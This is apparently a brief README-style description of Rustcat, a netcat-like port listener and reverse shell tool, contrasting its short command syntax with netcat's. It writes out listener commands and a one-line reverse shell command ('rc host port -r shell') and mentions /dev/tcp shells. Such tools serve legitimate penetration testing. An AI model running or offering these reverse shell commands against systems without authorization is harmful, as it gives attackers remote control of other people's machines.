🎨 Rustcat is a modern port listener & Reverse Shell that is very easy to use.
Starting a listener is just as simple as rc -lp port
. While in netcat you would do something like nc -nlvp port
to get the same results.
And creating a reverse shell has never been easier, rc host port -r shell
is all you need. No more long /dev/tcp stuff that you always forget.
Command history is something we all need. How annoying isn't it when you accidently type a long command wrong, then you have to rewrite the entire thing.
But Rustcat fixes that with command history. Just add -H and you will get command history (rc -lHp port
), unlike netcat where you have to use another application and do rlwrap -cAr nc -nlvp port
.
A little splash of color doesn't hurt :).
